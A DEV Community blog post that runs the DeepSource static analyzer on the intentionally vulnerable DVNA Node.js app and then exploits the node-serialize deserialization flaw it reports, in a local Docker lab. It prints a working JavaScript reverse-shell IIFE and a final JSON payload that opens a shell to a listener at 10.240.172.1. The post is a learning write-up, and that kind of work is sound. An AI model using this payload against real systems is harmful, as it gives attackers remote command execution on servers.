DEV Community

r0psteev
r0psteev

Posted on • Updated on

DeepSource - From Vulnerability discovery to Exploit development

I. Introduction

This post is the result of some recent experimental work with DeepSource, one the many Static Application Security Testing Tools out there, and highlights some of the insights i was able to gain during my learning process.

II. About DeepSource

DeepSource is a powerful SAST engine offered as a convenient web application from which vulnerability analysis of a codebase can be conducted without requiring highly performant on premise resources. DeepSource works on the main concepts of Analyzers and Transformers.

Analyzers are language specific parsers, capable of detecting security issues in code as well as common programming antipatterns which may result in unstable conditions within the software.

Transformers on the other hand are roughly linters, and code formatters specific to every supported language which will format and style codes pushed to repositories linked to DeepSource based on the programming language's specification for good coding style.

III. The Tested Codebase: DVNA

Damn Vulnerable Node App (dvna) was the target codebase used in this exercise. It is an intentionally vulnerable nodejs application with reasonable codebase size.

In total, 4 classes of vulnerabilities were identified by DeepSource within this codebase.

Vulnerabilities reported by DeepSource

IV. Focus on Deserialization

Description

Deepsource identified a zone in the code vulnerable to unsafe deserialization of user supplied objects.

Serialization is the process of converting runtime objects and data structures into a form that is easily transferable over the network (JSON, binary blob, … etc) or for storage on disk. Serialization is really appreciated by programmers as it helps to snapshot runtime entities (objects/data) into a static form which could be stored as is on disk or shared over a network.

Deserialization on the other hand is the reverse process, which involves recovering the original objects or structures from their minified/encoded static representations.

When user supplied input is not properly sanitized before deserialization, a situation of arbitrary code execution could arise, because functions too can be serialized and deserialized.
Hence a malicious user may craft serialized objects (with embedded functions) which when deserialized by the backend system will detonate the malicious functions embedded in them, and achieve the purpose coded in them.

Code Section vulnerable to unsafe deserialization

Further inspection of the reported line suggests that the concerned code section deserialized user-supplied products in some way, and saved them to the backend system.

Closer look at vulnerable code section

And the deserialization library used is node-serialize.

node-serialize imported for deserialization

The deserialized products have the following structure.

Structure of deserialized product object

So, we could technically forge our own product that adheres to this same structure, but replace one of the attributes with a function which will be immediately invoked once the object gets deserialized on the backend.

Exploiting the Vulnerability

To attempt exploiting This vulnerability, a local docker instance of the vulnerable service, was deployed for testing

Local Docker Instance for DVNA testing

1. First we learn how to craft legit objects which can get accepted by the backend without any errors based on the Product object model

Crafting valid objects for the backend

The serialized json object is put into an array because the backend expects several serialized products to be given to it at that endpoint.

Save object to json array

DVNA expects a JSON array of serialized product objects

We save this output to test.json and submit to the web application.

Upload test.json containing our serialized object

The backend successfully deserialized our object and added it to its product list.

Our object got added to product list of backend

2. Now that we know how to craft valid objects for the backend, we need to try making malicious ones which get us some custom code executed at the backend during deserialization time.

To Achieve this aim, the ideal kind of javascript construct is an Immediately Invoked Function Expression
(IIFE).
, it is one which gets immediately executed once referenced or read.

So the plan is as follows, we know that when we send a valid javascript object to the backend, some of its fields such name, code, tags and description get referenced when the backend attempt to assign them to a new instance of product it creates for itself. To leverage this behavior, what we simply need to do is to feed in and IIFE to one of this fields so that when the backend references (attempts to read) that field, the IIFE immediately executes whatsoever arbitrary code we placed in it.

Below is a sample javascript reverse shell, in IIFE mode and in non-IIFE mode, we will leverage the IIFE version in our subsequent malicious object.

// Immediately invoked (IIFE)
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8001, "<IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();


// Not Immediately invoked
function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8001, "<IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
}
Enter fullscreen mode Exit fullscreen mode

3. After several iterations of test and debug, the follow final payload object was obtained to get a reverse shell on the DVNA app.

[
   {
      "name":"st11-1",
      "code":"708",
      "description":"Tryna Grab a Shell",
      "tags":"_$$ND_FUNC$$_function(){var net = require(\"net\");const cp = require(\"child_process\");const sh = cp.spawn(\"/bin/sh\", []);var client = new net.Socket();client.connect(8001, \"10.240.172.1\", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()"
   }
]
Enter fullscreen mode Exit fullscreen mode

This payload was saved as test2.json, then uploaded to the Web application.

upload test2.json to DVNA

After detonation of the embedded payload, a reverse shell was received on the listening machine.

reverse shell access obtained

V. References

Top comments (0)